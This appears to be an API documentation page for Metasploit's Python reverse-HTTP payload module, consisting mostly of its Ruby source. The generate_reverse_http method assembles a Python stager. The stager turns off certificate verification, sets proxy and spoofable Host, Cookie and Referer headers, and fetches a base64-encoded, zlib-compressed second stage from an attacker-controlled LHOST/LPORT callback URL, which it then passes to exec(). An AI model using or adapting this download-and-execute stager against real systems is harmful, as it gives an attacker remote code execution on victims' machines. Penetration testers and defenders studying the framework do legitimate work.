Module: Msf::Payload::Python::ReverseHttp

Includes:
UUID::Options
Defined in:
lib/msf/core/payload/python/reverse_http.rb

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Instance Method Details

#generate(opts = {}) ⇒ Object

Generate the first stage


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# File 'lib/msf/core/payload/python/reverse_http.rb', line 23

def generate(opts={})
  ds = opts[:datastore] || datastore
  opts.merge!({
    host:           ds['LHOST'] || '127.127.127.127',
    port:           ds['LPORT'],
    proxy_host:     ds['HttpProxyHost'],
    proxy_port:     ds['HttpProxyPort'],
    user_agent:     ds['HttpUserAgent'],
    header_host:    ds['HttpHostHeader'],
    header_cookie:  ds['HttpCookie'],
    header_referer: ds['HttpReferer']
  })
  opts[:scheme] = 'http' if opts[:scheme].nil?

  generate_reverse_http(opts)
end

#generate_callback_uri(opts = {}) ⇒ Object

Return the longest URI that fits into our available space


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# File 'lib/msf/core/payload/python/reverse_http.rb', line 62

def generate_callback_uri(opts={})
  uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))

  # Generate the short default URL if we don't have enough space
  if self.available_space.nil? || required_space > self.available_space
    uri_req_len = 30
  end

  generate_uri_uuid_mode(opts[:uri_uuid_mode] || :init_python, uri_req_len)
end

#generate_callback_url(opts) ⇒ Object

Return the callback URL


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# File 'lib/msf/core/payload/python/reverse_http.rb', line 43

def generate_callback_url(opts)
  # required opts:
  #   host, port, scheme
  if Rex::Socket.is_ipv6?(opts[:host])
    target_url = "#{opts[:scheme]}://[#{opts[:host]}]"
  else
    target_url = "#{opts[:scheme]}://#{opts[:host]}"
  end

  target_url << ':'
  target_url << opts[:port].to_s
  target_url << luri
  target_url << generate_callback_uri(opts)
  target_url
end

#generate_reverse_http(opts = {}) ⇒ Object 


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# File 'lib/msf/core/payload/python/reverse_http.rb', line 73

def generate_reverse_http(opts={})
  # required opts:
  #  proxy_host, proxy_port, scheme, user_agent
  var_escape = lambda { |txt|
    txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
  }

  proxy_host = opts[:proxy_host]
  proxy_port = opts[:proxy_port]

  urllib_fromlist = ['\'build_opener\'']
  urllib_fromlist << '\'ProxyHandler\'' if proxy_host.to_s != ''
  urllib_fromlist << '\'HTTPSHandler\'' if opts[:scheme] == 'https'
  urllib_fromlist = '[' + urllib_fromlist.join(',') + ']'

  cmd  = "import zlib,base64,sys\n"
  cmd << "vi=sys.version_info\n"
  cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n"
  cmd << "hs=[]\n"
  if opts[:scheme] == 'https'
    # Context added to HTTPSHandler in 2.7.9 and 3.4.3
    cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n"
    cmd << "\timport ssl\n"
    cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n"
    cmd << "\tsc.check_hostname=False\n"
    cmd << "\tsc.verify_mode=ssl.CERT_NONE\n"
    cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n"
  end

  if proxy_host.to_s != ''
    proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
      "http://[#{proxy_host}]:#{proxy_port}" :
      "http://#{proxy_host}:#{proxy_port}"
    cmd << "hs.append(ul.ProxyHandler({'#{opts[:scheme]}':'#{var_escape.call(proxy_url)}'}))\n"
  end

  headers = []
  headers << "('User-Agent','#{var_escape.call(opts[:user_agent])}')"
  headers << "('Cookie','#{var_escape.call(opts[:header_cookie])}')" if opts[:header_cookie]
  headers << "('Referer','#{var_escape.call(opts[:header_referer])}')" if opts[:header_referer]

  cmd << "o=ul.build_opener(*hs)\n"
  cmd << "o.addheaders=[#{headers.join(',')}]\n"
  if opts[:header_host]
    cmd << "exec(zlib.decompress(base64.b64decode(o.open(ul.Request('#{generate_callback_url(opts)}',None,{'Host':'#{var_escape.call(opts[:header_host])}'})).read())))\n"
  else
    cmd << "exec(zlib.decompress(base64.b64decode(o.open('#{generate_callback_url(opts)}').read())))\n"
  end

  py_create_exec_stub(cmd)
end

#initialize(info = {}) ⇒ Object 


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# File 'lib/msf/core/payload/python/reverse_http.rb', line 12

def initialize(info = {})
  super(info)
  register_advanced_options(
    Msf::Opt::http_header_options +
    Msf::Opt::http_proxy_options
  )
end

#required_space ⇒ Object

Determine the maximum amount of space required for the features requested


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# File 'lib/msf/core/payload/python/reverse_http.rb', line 128

def required_space
  # Start with our cached default generated size
  space = cached_size

  # Add 100 bytes for the encoder to have some room
  space += 100

  # Make room for the maximum possible URL length
  space += 256

  # The final estimated size
  space
end